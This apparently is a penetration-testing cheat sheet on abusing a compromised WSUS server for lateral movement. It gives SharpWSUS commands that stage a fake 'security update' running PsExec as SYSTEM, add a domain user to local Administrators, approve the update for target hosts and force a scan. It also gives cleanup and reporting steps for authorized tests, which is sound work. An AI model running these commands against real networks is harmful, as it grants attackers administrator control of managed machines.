WSUS

When we already control the WSUS server (local admin on the WSUS host, or an account with WSUS Approver / Administrator role), the legitimate update channel becomes a lateral-movement primitive: we craft an "update" that runs an arbitrary Microsoft-signed binary with a command line of our choosing, approve it for a target computer group, and the targets execute the payload as NT AUTHORITY\SYSTEM on their next check-in.

For the related on-path / MitM scenario against an HTTP WSUS feed (no WSUS admin required), see Privilege escalation: WSUS.

Prerequisites

• Admin (or equivalent WSUS role) on the WSUS server, or ability to reach the WSUS database (SUSDB).
• The target hosts are configured to pull updates from this WSUS instance and approve on the targeted computer group.
• A Microsoft-signed binary suitable as a payload (PsExec64.exe, BgInfo.exe, etc.) reachable from the WSUS server.

SharpWSUS

SharpWSUS talks to the local WSUS service to create, approve and clean up fake updates targeted at specific downstream clients.

:: Stage the fake update
SharpWSUS.exe create  /payload:"C:\Tools\PsExec64.exe" ^
                      /args:"/accepteula /s cmd.exe /c net localgroup Administrators <DOMAIN>\<user> /add" ^
                      /title:"Security Update KB5099999"

:: Approve it for a target group
SharpWSUS.exe approve /updateid:<GUID> /computername:<target-fqdn> /groupname:"Pentest"

:: Confirm the client picked it up
SharpWSUS.exe check   /updateid:<GUID> /computername:<target-fqdn>

:: Cleanup
SharpWSUS.exe delete  /updateid:<GUID> /computername:<target-fqdn> /groupname:"Pentest"

For non-English systems, target the well-known Administrators SID instead of the localised group name:

/accepteula /s cmd.exe /c "net localgroup S-1-5-32-544 <DOMAIN>\<user> /add"

To trigger the install immediately on the target (rather than waiting for the next scheduled poll), run from any shell on that host:

usoclient StartScan    :: Windows 10/11
wuauclt /detectnow     :: older Windows

Cleanup

• Delete the approved update from the WSUS catalogue (SharpWSUS.exe delete ...).
• Remove any local accounts / group memberships the payload created.
• Document the WSUS admin path used (compromised account, weak ACL on SUSDB, etc.) so the remediation finding targets the root cause, not just the symptom.